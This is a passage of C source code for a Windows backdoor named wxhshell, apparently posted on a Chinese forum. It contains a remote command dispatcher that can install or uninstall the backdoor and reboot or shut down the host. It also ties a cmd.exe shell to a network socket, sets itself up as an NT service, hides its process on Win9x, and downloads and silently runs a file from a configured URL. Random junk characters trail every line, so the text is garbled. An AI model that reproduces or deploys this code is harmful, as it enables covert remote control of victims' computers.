      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *'A*!=5(  
    break; W]7<PL*u  
  } i\/'w]  
  // 安装 1_f+! ns#  
  case 'i': { Udtz zka  
    if(Install()) ElB[k<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K/N{F\  
    else =:w,wI.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F_R\  
    break; &@CUxK  
    } wn.6l `  
  // 卸载 u*=^>LD  
  case 'r': { &uO-h  
    if(Uninstall()) 612,J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F$ G)vskd  
    else '5$@ I{z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k]r4b`x`  
    break; C^4,L \E  
    } 3fQ`}OcNr  
  // 显示 wxhshell 所在路径 }cCIYt\RK  
  case 'p': { 0wVM% Dng  
    char svExeFile[MAX_PATH]; ^L d5<  
    strcpy(svExeFile,"\n\r"); AQQa6Ce*  
      strcat(svExeFile,ExeFile); gM;m{gXYK  
        send(wsh,svExeFile,strlen(svExeFile),0); a*X{hU 9P  
    break; ZpOME@9,  
    } >]ux3F3\  
  // 重启 .4"BN<9  
  case 'b': { fu~iF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >}~[ew  
    if(Boot(REBOOT)) ~? aFc)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |3B<;/v5  
    else { :P2!& W  
    closesocket(wsh); l#^?sbG  
    ExitThread(0); `|AH3v1  
    } yeta)@nH  
    break; ;4b=/1M'  
    } 5&EBU l}  
  // 关机 3$YbEl@#  
  case 'd': { 0<@['W}G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \rUKP""m  
    if(Boot(SHUTDOWN)) 8VQ!&^9!U#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5;/q[oXI  
    else { }2RbX,0l9  
    closesocket(wsh); (Ytr&gh;0  
    ExitThread(0); m`8{arz2  
    } :^{KY(3  
    break; >/4[OPB0R  
    } qCrpc=  
  // 获取shell .EHq.cde  
  case 's': { Z>y6[o  
    CmdShell(wsh); C)yw b6  
    closesocket(wsh); l%mp49<  
    ExitThread(0); >S}X)4  
    break; hwe6@T.#  
  } 7Rtjm  
  // 退出 6g#yzex  
  case 'x': { hV,T889'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'JdK0w#  
    CloseIt(wsh); rWNe&gFM  
    break; [c1Gq)ht  
    } pl@K"PRE  
  // 离开 G?,3Zn0  
  case 'q': { %Ul,9qG+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JK!`uG+v  
    closesocket(wsh); J?Y,3cc.  
    WSACleanup(); fP4P'eI  
    exit(1); `.~S/$a.&  
    break; 7@gH{p1  
        } QwG_-  
  } ZEDvY=@a   
  } q+8de_"]  
5p~5-_JX  
  // 提示信息 jf;n*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b#6mUl2  
} hTEb?1CXU  
  } [6g$;SicT  
4Lk<5Ho  
  return; Dl0{pGK~  
} Z~94<*LEp  
fNx!'{o"  
// shell模块句柄 ~V?z!3r-)  
int CmdShell(SOCKET sock) l}(HE+?  
{ ;(}~m&p  
STARTUPINFO si; lAo~w  
ZeroMemory(&si,sizeof(si)); 7O|`\&RY R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F%lC%~-qh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^vSSG5  :  
PROCESS_INFORMATION ProcessInfo; pV8tn!  
char cmdline[]="cmd"; -"'+#9{h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G^h:#T  
  return 0; g^|R;s{  
} v8C($<3%  
/=za m3kd  
// 自身启动模式 tXrKC  
int StartFromService(void) |/xA5_-N  
{ w]h8KNt  
typedef struct W58?t6! =  
{ _(:$ :*@  
  DWORD ExitStatus; eF7I 5k4  
  DWORD PebBaseAddress; FhBV.,bU,m  
  DWORD AffinityMask; y?r`[{L(lA  
  DWORD BasePriority; M/[_~  
  ULONG UniqueProcessId; ~AaEa,LQ  
  ULONG InheritedFromUniqueProcessId; ?ZC!E0]  
}   PROCESS_BASIC_INFORMATION; MK Sw  
lq3D!+ m  
PROCNTQSIP NtQueryInformationProcess; )AcevEHB  
9vDOSwU*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m0.g}N-w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }zkFl{/u  
`mD!z.`U  
  HANDLE             hProcess; :F[s  
  PROCESS_BASIC_INFORMATION pbi; '/loJz 1  
862rol  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XGe;v~L  
  if(NULL == hInst ) return 0; -Mrt%1g  
$Q'LDmot  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Jh%SenP_oP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9o?\*{'KT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pQ^V<6z}  
+CSv@ />3  
  if (!NtQueryInformationProcess) return 0; )+,h}XqlX  
$f+I#uJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +zDRed_]=_  
  if(!hProcess) return 0; #Q=c.AL{  
Qof%j@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RSB+Saf.8  
GJS(  
  CloseHandle(hProcess); wXnVQ-6H  
=tA;JB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W79.Nj2`  
if(hProcess==NULL) return 0; |${ImP  
:6(@P1vA 6  
HMODULE hMod; 47{5{/B-  
char procName[255]; {/5aF_0D.  
unsigned long cbNeeded;  o4yl3o  
x7gd6"10^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (w"(RM~  
WQ:Y NmQ1p  
  CloseHandle(hProcess); GZx*A S]+  
:YkAp9civ  
if(strstr(procName,"services")) return 1; // 以服务启动 {=&( { cS  
uxKO"  
  return 0; // 注册表启动 Z'5&N5hx  
} s7:_!Nd@8  
y>h9:q|  
// 主模块 Jwj=a1I 53  
int StartWxhshell(LPSTR lpCmdLine) 3gJZlH5IR  
{ bV'r9&[_6  
  SOCKET wsl; tfm3IX  
BOOL val=TRUE; 2g_mQT  
  int port=0; 74 )G.!  
  struct sockaddr_in door; Tu}EAr  
=\)zb'\=d  
  if(wscfg.ws_autoins) Install(); };P=|t(r  
WLVkrTvX  
port=atoi(lpCmdLine); 8a8D0}'  
j}tGcFwvSN  
if(port<=0) port=wscfg.ws_port; LH_ U#P`E  
1.8"N&s  
  WSADATA data; |) &d9|]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5{DwD{Q  
-U_,RMw~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *""W`x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i+T5 (P$  
  door.sin_family = AF_INET; -jrAk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5efN5Kt  
  door.sin_port = htons(port); BOA7@Zaa$p  
*$;Zk!sEF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %2\Pe 2Z  
closesocket(wsl); K/}x'*=  
return 1; {^;7DV:  
} ?uJX  
2Ir*}s2{  
  if(listen(wsl,2) == INVALID_SOCKET) { e$Yvy>I'tS  
closesocket(wsl); G^VOA4  
return 1; bF,.6iKI  
} ;:R2 P@6f  
  Wxhshell(wsl); CZ$B2i6  
  WSACleanup(); /yx)_x{  
&e*@:5Z:k  
return 0; S&[9Vb  
; 5[W*,7s  
} b"trg {e  
BKE?o^03  
// 以NT服务方式启动 ]WcN6|b+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %WmTG }L)  
{ )^6Os2  
DWORD   status = 0; ?X\.O-=4X  
  DWORD   specificError = 0xfffffff; fsnZHL}=n  
'<ZHzDW@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ln , 9v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -lv(@7o~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~>0H k}Hv  
  serviceStatus.dwWin32ExitCode     = 0; bBo>Y7%  
  serviceStatus.dwServiceSpecificExitCode = 0; [^/a`Kda8  
  serviceStatus.dwCheckPoint       = 0; "VoufXM:  
  serviceStatus.dwWaitHint       = 0; SwO$UqYU=  
0fUsERr1*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uT<<G)v)  
  if (hServiceStatusHandle==0) return; -rgdKA@)(  
d`5AQfL&  
status = GetLastError(); N@!PhP  
  if (status!=NO_ERROR) T VSCjI  
{ Vwjic2lGI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gnxD'1_  
    serviceStatus.dwCheckPoint       = 0; ?(Plb&kR  
    serviceStatus.dwWaitHint       = 0; 4"!kCUB  
    serviceStatus.dwWin32ExitCode     = status; B J I N  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7#9%,6Yi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $T7 qd  
    return; Lh.-*H  
  } >@4AxV\  
3kF+wifsz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R1%J6wZq  
  serviceStatus.dwCheckPoint       = 0; Q%J,: J  
  serviceStatus.dwWaitHint       = 0; {&B0kjf  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yA_ly <  
} '(N(k@>{  
!)W#|sys&  
// 处理NT服务事件,比如:启动、停止 KQw>6)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xpwy%uo  
{ oEFo7X`t  
switch(fdwControl) B8.}9  
{ MpJ<.|h  
case SERVICE_CONTROL_STOP: U&a(WQV9&  
  serviceStatus.dwWin32ExitCode = 0; &o1k_!25  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Acd@BL*  
  serviceStatus.dwCheckPoint   = 0; zM<L_l&  
  serviceStatus.dwWaitHint     = 0; hJir_=  
  { 8_S| 8RW(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BB(v,W  
  } :h3n[%  
  return; ('\sUZ+5  
case SERVICE_CONTROL_PAUSE: BS?$eai@:9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C=cn .CX  
  break; ~82 {Y _{/  
case SERVICE_CONTROL_CONTINUE: $% gz, {  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7^LCP*  
  break; Q&^\YgkCf  
case SERVICE_CONTROL_INTERROGATE: R(cg`8  
  break; SB.=x  
}; }Ya! [tX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7-~)/7L  
} Km,o+9?1gF  
O/d]2<V  
// 标准应用程序主函数 ?d{O' &|:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k%kEW%I yG  
{ gG}H5uN  
I|<]>D-8  
// 获取操作系统版本 t+]1D@hv  
OsIsNt=GetOsVer(); U[8F{LX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (uhE'IQ{(  
,tg(aL  
  // 从命令行安装 *,*O.#<6  
  if(strpbrk(lpCmdLine,"iI")) Install(); .9,x_\|G*  
,Oy$q~.  
  // 下载执行文件 MV!d*\  
if(wscfg.ws_downexe) { j|N<6GSke  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =NI?Jk*iAq  
  WinExec(wscfg.ws_filenam,SW_HIDE); X!'C'3X  
} iF837ng5  
_<Ij)#Rq7  
if(!OsIsNt) { yG7H>LF?8  
// 如果时win9x,隐藏进程并且设置为注册表启动 !cM<&3/  
HideProc(); b09xf"D  
StartWxhshell(lpCmdLine); ',t*:GBZCf  
} d,Oagx  
else d!Gy#<H  
  if(StartFromService()) +'MO$&6  
  // 以服务方式启动 .>.GQUr  
  StartServiceCtrlDispatcher(DispatchTable); yg* #~,  
else vf+z0df  
  // 普通方式启动 lBs-u h  
  StartWxhshell(lpCmdLine); H-v[ShE  
Vwh ;QJxb  
return 0; {#4a}:3  
}
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只看该作者 1 发表于: 2006-10-10
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